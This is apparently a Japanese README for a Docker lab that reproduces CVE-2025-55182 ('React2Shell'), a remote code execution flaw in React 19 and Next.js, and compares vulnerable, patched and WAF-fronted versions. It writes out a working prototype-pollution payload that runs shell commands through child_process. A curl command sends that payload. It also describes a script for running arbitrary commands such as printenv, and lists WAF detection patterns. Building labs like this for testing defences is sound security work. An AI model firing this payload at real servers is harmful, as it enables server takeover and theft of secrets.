CVE-2025-55182 (React2Shell) テスト

⚠️ 警告: 実際に動作するリモートコード実行(RCE)脆弱性を含んでいます。

📋 目次

• 概要
• 脆弱性情報
• クイックスタート
• 実際の攻撃デモ
• テスト環境
• WAF防御ルール
• ファイル構成
• 参考資料
• 法的通知

---

概要

CVE-2025-55182 (React2Shell) 脆弱性テストのためのコンテナテスト環境です。

主な特徴

• ✅ 実際の脆弱性再現 - React 19.1.0 / Next.js 15.1.0 環境
• ✅ RCE攻撃成功 - 実際のコマンド実行確認
• ✅ WAF防御テスト - NGINX及びApache ModSecurityルール設定
• ✅ パッチバージョン比較 - 脆弱バージョン vs パッチバージョンテスト
• ✅ 完全なDocker環境 - 分離されたコンテナ環境

攻撃結果

🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

---

脆弱性情報

CVE-2025-55182 (React2Shell)

CVSSスコア: 10.0 (CRITICAL)
影響: リモートコード実行 (RCE)
認証要件: なし
攻撃ベクタ: ネットワーク

脆弱なバージョン

• React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

パッチ適用済みバージョン

• React: 19.1.2+
• Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

攻撃原理

1. Prototype Pollution - $1:__proto__:then によるプロトタイプ汚染
2. Function Constructorへのアクセス - Blob逆シリアル化($Bプレフィックス)を介したアクセス
3. 任意コード実行 - 攻撃者が制御するコードで関数生成
4. システムコマンド実行 - child_process を介したRCE

// 攻撃ペイロード構造
{
  "then": "$1:__proto__:then",           // Object.prototype.then汚染
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob逆シリアル化トリガー
  "_response": {
    "_prefix": "悪意のあるコード",        // 実行するコード
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructorへのアクセス
    }
  }
}

---

クイックスタート

前提条件

• Docker Desktop
• Node.js 20+ (ローカルテスト用、任意)
• 最低4GB RAM
• 2GB以上の空きディスク容量

ステップ1: 環境の起動

Windows (PowerShell):

PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

ステップ2: 状態確認

.\run-tests.ps1 status

すべてのコンテナが healthy 状態になるまで待つ必要があります（約1〜2分かかります）。

ステップ3: 攻撃の実行

Windows (PowerShell):

# 方法1: PowerShellスクリプトを使用（推奨）
.\tests\exploit-working.ps1

# 方法2: Node.js直接実行
node tests\exploit-working.js

ステップ4: 結果の確認

サーバーログからコマンド実行結果を確認できます：

docker compose logs vulnerable-app --tail=20

---

攻撃デモ

自動化された攻撃スクリプト

exploit-working.js ⭐ 推奨

Windows:

# PowerShellスクリプト（推奨）
.\tests\exploit-working.ps1

# またはNode.js直接実行
node tests\exploit-working.js

実行内容:

• ✅ 任意のシェルコマンド実行
• ✅ サーバーログからコマンド出力をキャプチャ
• ✅ 複数コマンドの自動テスト
• ✅ 詳細な脆弱性レポート提供

テストされるコマンド:

• whoami - 現在のユーザー (root)
• hostname - コンテナのホスト名
• pwd - 作業ディレクトリ (/app)
• id - フルユーザー情報
• uname -a - システム情報
• node --version - Node.jsバージョン

手動攻撃

curlを使用した直接攻撃

# ペイロードファイル作成
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 攻撃送信
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# ログ実行確認
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

カスタムコマンドの実行

攻撃スクリプトを修正して任意のコマンドを実行できます：

// exploit-working.js ファイル内:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: 'アプリケーションディレクトリ一覧' },
  { name: 'env', cmd: 'printenv', desc: '環境変数出力' }
]

---

テスト環境

Dockerコンテナ

ポート	サービス	Reactバージョン	用途	WAF状態
3000	vulnerable-app	19.1.0	脆弱 - CVE-2025-55182テスト	❌ 保護なし
3001	patched-app	19.1.2	安全 - パッチ効果検証	✅ パッチ済み
8080	nginx → vulnerable	19.1.0	WAFテスト (NGINX)	⚠️ 制限あり（body未検査）
8081	apache → vulnerable	19.1.0	WAFテスト (ModSecurity)	⚠️ 制限あり（405応答）
8082	nginx → patched	19.1.2	二重保護テスト	✅ パッチ済み

アプリケーション環境

• フレームワーク: Next.js 15.1.0 (App Router)
• Reactバージョン: 19.1.0 (脆弱)
• Node.js: 20.19.6

テストシナリオ

シナリオ1: 脆弱バージョンへの攻撃

# 動作する攻撃を実行
node tests/exploit-working.js

# 予想結果: コマンド実行成功
# 出力: ユーザー情報、システム詳細など

シナリオ2: パッチ適用済みバージョンのテスト

Windows (PowerShell):

# PowerShellスクリプトを使用
.\tests\exploit-working.ps1 -Port 3001

予想結果: 攻撃失敗 (React 19.1.2が攻撃をブロック)

シナリオ3: WAFブロックテスト

Windows (PowerShell):

# NGINX WAFを通じた攻撃試行
.\tests\exploit-working.ps1 -Port 8080

予想結果: WAFルールによりブロック

---

WAF防御ルール

NGINX防御ルール

場所: nginx/nginx.conf

検出パターン:

1. Prototype Pollution - __proto__, constructor:constructor
2. Flight Protocol悪用 - $X:__proto__, $B参照
3. Gadget Chain - child_process, execSync, require()
4. URLエンコード回避 - %5f%5fproto%5f%5f
5. 疑わしいヘッダー - Next-Action: #constructor

ブロック動作:

HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurityルール

場所: apache/modsecurity-rules.conf

ルールID範囲: 100001-100017

主要ルール:

• 100001: __proto__検出
• 100002: Constructor chainアクセス
• 100003-100004: Flight protocol悪用
• 100006-100007: Gadget chainパターン
• 100008-100011: RCE試行 (child_process, exec, spawn, require)
• 100015: 疑わしいNext-Actionヘッダー
• 100017: 異常スコアベースのブロック

WAFテスト

# NGINXブロックテスト
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 予想応答: HTTP 403

# ModSecurityブロックテスト
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 予想応答: HTTP 403

WAFログ確認

# NGINXセキュリティログ
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity監査ログ
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF制限事項

重要: 現在のWAF構成には以下の制限があります：

NGINX (ポート8080)

• ❌ Request bodyを検査しない
• NGINXのデフォルト設定はURL、クエリパラメータ、ヘッダーのみ検査
• Exploitペイロードは multipart/form-data bodyに含まれており検出されない
• 解決策: lua-nginx-moduleまたは別途のWAFソリューションが必要

Apache ModSecurity (ポート8081)

• ⚠️ Next.jsがPOSTリクエストを拒否 (405 Method Not Allowed)
• ModSecurityは有効化されておりbody検査も可能
• ただし Next-Action ヘッダーが必要であり、このヘッダーだけでは十分な保護は不可
• 現在の状態: WAFがbodyを検査する前に405応答

実際の攻撃防御:

• ✅ 最も効果的な方法: React/Next.jsをパッチ適用済みバージョンにアップグレード (ポート3001、8082)
• ⚠️ WAFは部分的な保護のみ提供: Body検査が必要な攻撃には制限的

---

ファイル構成